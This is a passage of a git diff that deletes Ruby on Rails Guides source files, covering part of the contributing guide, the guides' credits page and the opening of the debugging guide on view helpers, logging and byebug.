templates include the boilerplate code to set up a test case against either a released version of Rails (`*_gem.rb`) or edge Rails (`*_master.rb`). - -Simply copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing. - -You can then share your executable test case as a [gist](https://gist.github.com), or simply paste the content into the issue description. - -### Special Treatment for Security Issues - -WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues. - -### What about Feature Requests? - -Please don't put "feature request" items into GitHub Issues. If there's a new -feature that you want to see added to Ruby on Rails, you'll need to write the -code yourself - or convince someone else to partner with you to write the code. -Later in this guide, you'll find detailed instructions for proposing a patch to -Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you -can expect it to be marked "invalid" as soon as it's reviewed. - -Sometimes, the line between 'bug' and 'feature' is a hard one to draw. -Generally, a feature is anything that adds new behavior, while a bug is -anything that causes incorrect behavior. Sometimes, -the core team will have to make a judgment call. That said, the distinction -generally just affects which release your patch will get in to; we love feature -submissions! They just won't get backported to maintenance branches. - -If you'd like feedback on an idea for a feature before doing the work to make -a patch, please send an email to the [rails-core mailing -list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You -might get no response, which means that everyone is indifferent. You might find -someone who's also interested in building that feature. You might get a "This -won't be accepted." But it's the proper place to discuss new ideas. GitHub -Issues are not a particularly good venue for the sometimes long and involved -discussions new features require. - - -Helping to Resolve Existing Issues ----------------------------------- - -As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: - -### Verifying Bug Reports - -For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing. - -If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem. - -If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section. - -Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. - -### Testing Patches - -You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch: - -```bash -$ git checkout -b testing_branch -``` - -Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails. - -```bash -$ git remote add JohnSmith https://github.com/JohnSmith/rails.git -$ git pull JohnSmith orange -``` - -After applying their branch, test it out! Here are some things to think about: - -* Does the change actually work? -* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing? -* Does it have the proper documentation coverage? Should documentation elsewhere be updated? -* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change? - -Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: - ->I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. - -If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. - -Contributing to the Rails Documentation ---------------------------------------- - -Ruby on Rails has two main sets of documentation: the guides, which help you -learn about Ruby on Rails, and the API, which serves as a reference. - -You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails. - -To do so, open a pull request to [Rails](https://github.com/rails/rails) on GitHub. - -When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html). - -NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. - -Translating Rails Guides ------------------------- - -We are happy to have people volunteer to translate the Rails guides into their own language. -If you want to translate the Rails guides in your own language, follows these steps: - -* Fork the project (rails/rails). -* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian. -* Copy the contents of *guides/source* into your own language directory and translate them. -* Do NOT translate the HTML files, as they are automatically generated. - -To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT): - -```bash -$ bundle install -$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT -``` - -This will generate the guides in an *output* directory. - -NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby. - -Translation efforts we know about (various versions): - -* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails) -* **Spanish**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails) -* **Polish**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master) -* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails) -* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech) -* **Turkish** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master) -* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides) -* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides) -* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides) -* **Russian** : [https://github.com/morsbox/rusrails](https://github.com/morsbox/rusrails) -* **Japanese** : [https://github.com/yasslab/railsguides.jp](https://github.com/yasslab/railsguides.jp) - -Contributing to the Rails Code ------------------------------- - -### Setting Up a Development Environment - -To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide, you'll learn how to setup the tests on your own computer. - -#### The Easy Way - -The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). - -#### The Hard Way - -In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html). - -### Clone the Rails Repository - -To be able to contribute code, you need to clone the Rails repository: - -```bash -$ git clone https://github.com/rails/rails.git -``` - -and create a dedicated branch: - -```bash -$ cd rails -$ git checkout -b my_new_branch -``` - -It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. - -### Bundle install - -Install the required gems. - -```bash -$ bundle install -``` - -### Running an Application Against Your Local Branch - -In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch: - -```bash -$ cd rails -$ bundle exec rails new ~/my-test-app --dev -``` - -The application generated in `~/my-test-app` runs against your local branch -and in particular sees any modifications upon server reboot. - -### Write Your Code - -Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind: - -* Get the code right. -* Use Rails idioms and helpers. -* Include tests that fail without your code, and pass with it. -* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution. - - -TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). - -#### Follow the Coding Conventions - -Rails follows a simple set of coding style conventions: - -* Two spaces, no tabs (for indentation). -* No trailing whitespace. Blank lines should not have any spaces. -* Indent after private/protected. -* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`. -* Prefer `&&`/`||` over `and`/`or`. -* Prefer class << self over self.method for class methods. -* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`. -* Use `a = b` and not `a=b`. -* Use assert_not methods instead of refute. -* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks. -* Follow the conventions in the source you see used already. - -The above are guidelines - please use your best judgment in using them. - -### Benchmark Your Code - -For changes that might have an impact on performance, please benchmark your -code and measure the impact. Please share the benchmark script you used as well -as the results. You should consider including this information in your commit -message, which allows future contributors to easily verify your findings and -determine if they are still relevant. (For example, future optimizations in the -Ruby VM might render certain optimizations unnecessary.) - -It is very easy to make an optimization that improves performance for a -specific scenario you care about but regresses on other common cases. -Therefore, you should test your change against a list of representative -scenarios. Ideally, they should be based on real-world scenarios extracted -from production applications. - -You can use the [benchmark template](https://github.com/rails/rails/blob/master/guides/bug_report_templates/benchmark.rb) -as a starting point. It includes the boilerplate code to setup a benchmark -using the [benchmark-ips](https://github.com/evanphx/benchmark-ips) gem. The -template is designed for testing relatively self-contained changes that can be -inlined into the script. - -### Running Tests - -It is not customary in Rails to run the full test suite before pushing -changes. The railties test suite in particular takes a long time, and takes an -especially long time if the source code is mounted in `/vagrant` as happens in -the recommended workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). - -As a compromise, test what your code obviously affects, and if the change is -not in railties, run the whole test suite of the affected component. If all -tests are passing, that's enough to propose your contribution. We have -[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching -unexpected breakages elsewhere. - -#### Entire Rails: - -To run all the tests, do: - -```bash -$ cd rails -$ bundle exec rake test -``` - -#### For a Particular Component - -You can run tests only for a particular component (e.g. Action Pack). For example, -to run Action Mailer tests: - -```bash -$ cd actionmailer -$ bundle exec rake test -``` - -#### Running a Single Test - -You can run a single test through ruby. For instance: - -```bash -$ cd actionmailer -$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout -``` - -The `-n` option allows you to run a single method instead of the whole -file. - -#### Testing Active Record - -First, create the databases you'll need. You can find a list of the required -table names, usernames, and passwords in `activerecord/test/config.example.yml`. - -For MySQL and PostgreSQL, running the SQL statements `create database -activerecord_unittest` and `create database activerecord_unittest2` is -sufficient. This is not necessary for SQLite3. - -This is how you run the Active Record test suite only for SQLite3: - -```bash -$ cd activerecord -$ bundle exec rake test:sqlite3 -``` - -You can now run the tests as you did for `sqlite3`. The tasks are respectively: - -```bash -test:mysql2 -test:postgresql -``` - -Finally, - -```bash -$ bundle exec rake test -``` - -will now run the three of them in turn. - -You can also run any single test separately: - -```bash -$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb -``` - -To run a single test against all adapters, use: - -```bash -$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb -``` - -You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. - -### Warnings - -The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. - -If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: - -```bash -$ RUBYOPT=-W0 bundle exec rake test -``` - -### Updating the CHANGELOG - -The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version. - -You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. - -A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: - -``` -* Summary of a change that briefly describes what was changed. You can use multiple - lines and wrap them at around 80 characters. Code examples are ok, too, if needed: - - class Foo - def bar - puts 'baz' - end - end - - You can continue after the code example and you can attach issue number. GH#1234 - - *Your Name* -``` - -Your name can be added directly after the last word if there are no code -examples or multiple paragraphs. Otherwise, it's best to make a new paragraph. - -### Updating the Gemfile.lock - -Some changes require the dependencies to be upgraded. In these cases make sure you run `bundle update` to get the right version of the dependency and commit the `Gemfile.lock` file within your changes. - -### Commit Your Changes - -When you're happy with the code on your computer, you need to commit the changes to Git: - -```bash -$ git commit -a -``` - -This should fire up your editor to write a commit message. When you have -finished, save and close to continue. - -A well-formatted and descriptive commit message is very helpful to others for -understanding why the change was made, so please take the time to write it. - -A good commit message looks like this: - -``` -Short summary (ideally 50 characters or less) - -More detailed description, if necessary. It should be wrapped to -72 characters. Try to be as descriptive as you can. Even if you -think that the commit content is obvious, it may not be obvious -to others. Add any description that is already present in the -relevant issues; it should not be necessary to visit a webpage -to check the history. - -The description section can have multiple paragraphs. - -Code examples can be embedded by indenting them with 4 spaces: - - class ArticlesController - def index - render json: Article.limit(10) - end - end - -You can also add bullet points: - -- make a bullet point by starting a line with either a dash (-) - or an asterisk (*) - -- wrap lines at 72 characters, and indent any additional lines - with 2 spaces for readability -``` - -TIP. Please squash your commits into a single commit when appropriate. This -simplifies future cherry picks and keeps the git log clean. - -### Update Your Branch - -It's pretty likely that other changes to master have happened while you were working. Go get them: - -```bash -$ git checkout master -$ git pull --rebase -``` - -Now reapply your patch on top of the latest changes: - -```bash -$ git checkout my_new_branch -$ git rebase master -``` - -No conflicts? Tests still pass? Change still seems reasonable to you? Then move on. - -### Fork - -Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner. - -Add the new remote to your local repository on your local machine: - -```bash -$ git remote add mine https://github.com:/rails.git -``` - -Push to your remote: - -```bash -$ git push mine my_new_branch -``` - -You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do. - -In the directory you cloned your fork: - -```bash -$ git remote add rails https://github.com/rails/rails.git -``` - -Download new commits and branches from the official repository: - -```bash -$ git fetch rails -``` - -Merge the new content: - -```bash -$ git checkout master -$ git rebase rails/master -``` - -Update your fork: - -```bash -$ git push origin master -``` - -If you want to update another branch: - -```bash -$ git checkout branch_name -$ git rebase rails/branch_name -$ git push origin branch_name -``` - - -### Issue a Pull Request - -Navigate to the Rails repository you just pushed to (e.g. -https://github.com/your-user-name/rails) and click on "Pull Requests" seen in -the right panel. On the next page, press "New pull request" in the upper right -hand corner. - -Click on "Edit", if you need to change the branches being compared (it compares -"master" by default) and press "Click to create a pull request for this -comparison". - -Ensure the changesets you introduced are included. Fill in some details about -your potential patch including a meaningful title. When finished, press "Send -pull request". The Rails core team will be notified about your submission. - -### Get some Feedback - -Most pull requests will go through a few iterations before they get merged. -Different contributors will sometimes have different opinions, and often -patches will need to be revised before they can get merged. - -Some contributors to Rails have email notifications from GitHub turned on, but -others do not. Furthermore, (almost) everyone who works on Rails is a -volunteer, and so it may take a few days for you to get your first feedback on -a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such -is the open source life. - -If it's been over a week, and you haven't heard anything, you might want to try -and nudge things along. You can use the [rubyonrails-core mailing -list](http://groups.google.com/group/rubyonrails-core/) for this. You can also -leave another comment on the pull request. - -While you're waiting for feedback on your pull request, open up a few other -pull requests and give someone else some! I'm sure they'll appreciate it in -the same way that you appreciate feedback on your patches. - -### Iterate as Necessary - -It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem. - -#### Squashing commits - -One of the things that we may ask you to do is to "squash your commits", which -will combine all of your commits into a single commit. We prefer pull requests -that are a single commit. This makes it easier to backport changes to stable -branches, squashing makes it easier to revert bad commits, and the git history -can be a bit easier to follow. Rails is a large project, and a bunch of -extraneous commits can add a lot of noise. - -In order to do this, you'll need to have a git remote that points at the main -Rails repository. This is useful anyway, but just in case you don't have it set -up, make sure that you do this first: - -```bash -$ git remote add upstream https://github.com/rails/rails.git -``` - -You can call this remote whatever you'd like, but if you don't use `upstream`, -then change the name to your own in the instructions below. - -Given that your remote branch is called `my_pull_request`, then you can do the -following: - -```bash -$ git fetch upstream -$ git checkout my_pull_request -$ git rebase -i upstream/master - -< Choose 'squash' for all of your commits except the first one. > -< Edit the commit message to make sense, and describe all your changes. > - -$ git push origin my_pull_request -f -``` - -You should be able to refresh the pull request on GitHub and see that it has -been updated. - -#### Updating pull request - -Sometimes you will be asked to make some changes to the code you have -already committed. This can include amending existing commits. In this -case Git will not allow you to push the changes as the pushed branch -and local branch do not match. Instead of opening a new pull request, -you can force push to your branch on GitHub as described earlier in -squashing commits section: - -```bash -$ git push origin my_pull_request -f -``` - -This will update the branch and pull request on GitHub with your new code. Do -note that using force push may result in commits being lost on the remote branch; use it with care. - - -### Older Versions of Ruby on Rails - -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch: - -```bash -$ git branch --track 4-0-stable origin/4-0-stable -$ git checkout 4-0-stable -``` - -TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. - -#### Backporting - -Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort. - -For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git). - -First, make sure your changes are the only difference between your current branch and master: - -```bash -$ git log master..HEAD -``` - -Then extract the diff: - -```bash -$ git format-patch master --stdout > ~/my_changes.patch -``` - -Switch over to the target branch and apply your changes: - -```bash -$ git checkout -b my_backport_branch 4-2-stable -$ git apply ~/my_changes.patch -``` - -This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort. - -Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request. - -And then... think about your next contribution! - -Rails Contributors ------------------- - -All contributions get credit in [Rails Contributors](http://contributors.rubyonrails.org). diff --git a/source/credits.html.erb b/source/credits.html.erb deleted file mode 100644 index 5adbd12..0000000 --- a/source/credits.html.erb +++ /dev/null @@ -1,80 +0,0 @@ -<% content_for :page_title do %> -Ruby on Rails Guides: Credits -<% end %> - -<% content_for :header_section do %> -

Credits

- -

We'd like to thank the following people for their tireless contributions to this project.

- -<% end %> - -

Rails Guides Reviewers

- -<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %> - Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He tweets a lot and also blogs. -<% end %> - -<%= author('Xavier Noria', 'fxn', 'fxn.png') do %> - Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also tweets and can be found everywhere as "fxn". -<% end %> - -

Rails Guides Designers

- -<%= author('Jason Zimdars', 'jz') do %> - Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at Thinkcage.com or follow him on Twitter. -<% end %> - -

Rails Guides Authors

- -<%= author('Ryan Bigg', 'radar', 'radar.png') do %> - Ryan Bigg works as a Rails developer at Marketplacer and has been working with Rails since 2006. He's the author of Multi Tenancy With Rails and co-author of Rails 4 in Action. He's written many gems which can be seen on his GitHub page and he also tweets prolifically as @ryanbigg. -<% end %> - -<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %> -Oscar Del Ben is a software engineer at Wildfire. He's a regular open source contributor (GitHub account) and tweets regularly at @oscardelben. - <% end %> - -<%= author('Frederick Cheung', 'fcheung') do %> - Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org. -<% end %> - -<%= author('Tore Darell', 'toretore') do %> - Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on Twitter. -<% end %> - -<%= author('Jeff Dean', 'zilkey') do %> - Jeff Dean is a software engineer with Pivotal Labs. -<% end %> - -<%= author('Mike Gunderloy', 'mgunderloy') do %> - Mike Gunderloy is a consultant with ActionRails. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at A Fresh Cup and he twitters too much. -<% end %> - -<%= author('Mikel Lindsaar', 'raasdnil') do %> - Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby Mail gem and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of RubyX, has a blog and tweets. -<% end %> - -<%= author('Cássio Marques', 'cmarques') do %> - Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at /* CODIFICANDO */, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. -<% end %> - -<%= author('James Miller', 'bensie') do %> - James Miller is a software developer for JK Tech in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". -<% end %> - -<%= author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails developer at Basecamp and maintains a blog at has_many :bugs, :through => :rails. He also has a semi-active twitter account. -<% end %> - -<%= author('Emilio Tagua', 'miloops') do %> - Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". -<% end %> - -<%= author('Heiko Webers', 'hawe') do %> - Heiko Webers is the founder of bauland42, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the Ruby on Rails Security Project. After 10 years of desktop application development, Heiko has rarely looked back. -<% end %> - -<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %> - Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on Twitter, Linkedin, Personal Blog or Quora. -<% end %> diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md deleted file mode 100644 index 58aab77..0000000 --- a/source/debugging_rails_applications.md +++ /dev/null @@ -1,954 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Debugging Rails Applications -============================ - -This guide introduces techniques for debugging Ruby on Rails applications. - -After reading this guide, you will know: - -* The purpose of debugging. -* How to track down problems and issues in your application that your tests aren't identifying. -* The different ways of debugging. -* How to analyze the stack trace. - --------------------------------------------------------------------------------- - -View Helpers for Debugging --------------------------- - -One common task is to inspect the contents of a variable. Rails provides three different ways to do this: - -* `debug` -* `to_yaml` -* `inspect` - -### `debug` - -The `debug` helper will return a \
 tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-
-```html+erb
-<%= debug @article %>
-

- Title: - <%= @article.title %> -

-``` - -You'll see something like this: - -```yaml ---- !ruby/object Article -attributes: - updated_at: 2008-09-05 22:55:47 - body: It's a very helpful guide for debugging your Rails app. - title: Rails debugging guide - published: t - id: "1" - created_at: 2008-09-05 22:55:47 -attributes_cache: {} - - -Title: Rails debugging guide -``` - -### `to_yaml` - -Alternatively, calling `to_yaml` on any object converts it to YAML. You can pass this converted object into the `simple_format` helper method to format the output. This is how `debug` does its magic. - -```html+erb -<%= simple_format @article.to_yaml %> -

- Title: - <%= @article.title %> -

-``` - -The above code will render something like this: - -```yaml ---- !ruby/object Article -attributes: -updated_at: 2008-09-05 22:55:47 -body: It's a very helpful guide for debugging your Rails app. -title: Rails debugging guide -published: t -id: "1" -created_at: 2008-09-05 22:55:47 -attributes_cache: {} - -Title: Rails debugging guide -``` - -### `inspect` - -Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example: - -```html+erb -<%= [1, 2, 3, 4, 5].inspect %> -

- Title: - <%= @article.title %> -

-``` - -Will render: - -``` -[1, 2, 3, 4, 5] - -Title: Rails debugging guide -``` - -The Logger ----------- - -It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. - -### What is the Logger? - -Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may also be substituted. - -You can specify an alternative logger in `config/application.rb` or any other environment file, for example: - -```ruby -config.logger = Logger.new(STDOUT) -config.logger = Log4r::Logger.new("Application Log") -``` - -Or in the `Initializer` section, add _any_ of the following - -```ruby -Rails.logger = Logger.new(STDOUT) -Rails.logger = Log4r::Logger.new("Application Log") -``` - -TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running. - -### Log Levels - -When something is logged, it's printed into the corresponding log if the log -level of the message is equal to or higher than the configured log level. If you -want to know the current log level, you can call the `Rails.logger.level` -method. - -The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, -and `:unknown`, corresponding to the log level numbers from 0 up to 5, -respectively. To change the default log level, use - -```ruby -config.log_level = :warn # In any environment initializer, or -Rails.logger.level = 0 # at any time -``` - -This is useful when you want to log under development or staging without flooding your production log with unnecessary information. - -TIP: The default Rails log level is `debug` in all environments. - -### Sending Messages - -To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer: - -```ruby -logger.debug "Person attributes hash: #{@person.attributes.inspect}" -logger.info "Processing the request..." -logger.fatal "Terminating application, raised unrecoverable error!!!" -``` - -Here's an example of a method instrumented with extra logging: - -```ruby -class ArticlesController < ApplicationController - # ... - - def create - @article = Article.new(params[:article]) - logger.debug "New article: #{@article.attributes.inspect}" - logger.debug "Article should be valid: #{@article.valid?}" - - if @article.save - flash[:notice] = 'Article was successfully created.' - logger.debug "The article was saved and now the user is going to be redirected..." - redirect_to(@article) - else - render action: "new" - end - end - - # ... -end -``` - -Here's an example of the log generated when this controller action is executed: - -``` -Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] - Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl -vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 - Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails", - "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, - "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"} -New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", - "published"=>false, "created_at"=>nil} -Article should be valid: true - Article Create (0.000443) INSERT INTO "articles" ("updated_at", "title", "body", "published", - "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', - 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') -The article was saved and now the user is going to be redirected... -Redirected to # Article:0x20af760> -Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles] -``` - -Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia. - -### Tagged Logging - -When running multi-user, multi-account applications, it's often useful -to be able to filter the logs using some custom rules. `TaggedLogging` -in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. - -```ruby -logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) -logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff" -logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" -logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" -``` - -### Impact of Logs on Performance -Logging will always have a small impact on the performance of your Rails app, - particularly when logging to disk. Additionally, there are a few subtleties: - -Using the `:debug` level will have a greater performance penalty than `:fatal`, - as a far greater number of strings are being evaluated and written to the - log output (e.g. disk). - -Another potential pitfall is too many calls to `Logger` in your code: - -```ruby -logger.debug "Person attributes hash: #{@person.attributes.inspect}" -``` - -In the above example, there will be a performance impact even if the allowed -output level doesn't include debug. The reason is that Ruby has to evaluate -these strings, which includes instantiating the somewhat heavy `String` object -and interpolating the variables. -Therefore, it's recommended to pass blocks to the logger methods, as these are -only evaluated if the output level is the same as — or included in — the allowed level -(i.e. lazy loading). The same code rewritten would be: - -```ruby -logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} -``` - -The contents of the block, and therefore the string interpolation, are only -evaluated if debug is enabled. This performance savings are only really -noticeable with large amounts of logging, but it's a good practice to employ. - -Debugging with the `byebug` gem ---------------------------------- - -When your code is behaving in unexpected ways, you can try printing to logs or -the console to diagnose the problem. Unfortunately, there are times when this -sort of error tracking is not effective in finding the root cause of a problem. -When you actually need to journey into your running source code, the debugger -is your best companion. - -The debugger can also help you if you want to learn about the Rails source code -but don't know where to start. Just debug any request to your application and -use this guide to learn how to move from the code you have written into the -underlying Rails code. - -### Setup - -You can use the `byebug` gem to set breakpoints and step through live code in -Rails. To install it, just run: - -```bash -$ gem install byebug -``` - -Inside any Rails application you can then invoke the debugger by calling the -`byebug` method. - -Here's an example: - -```ruby -class PeopleController < ApplicationController - def new - byebug - @person = Person.new - end -end -``` - -### The Shell - -As soon as your application calls the `byebug` method, the debugger will be -started in a debugger shell inside the terminal window where you launched your -application server, and you will be placed at the debugger's prompt `(byebug)`. -Before the prompt, the code around the line that is about to be run will be -displayed and the current line will be marked by '=>', like this: - -``` -[1, 10] in /PathTo/project/app/controllers/articles_controller.rb - 3: - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: byebug -=> 8: @articles = Article.find_recent - 9: - 10: respond_to do |format| - 11: format.html # 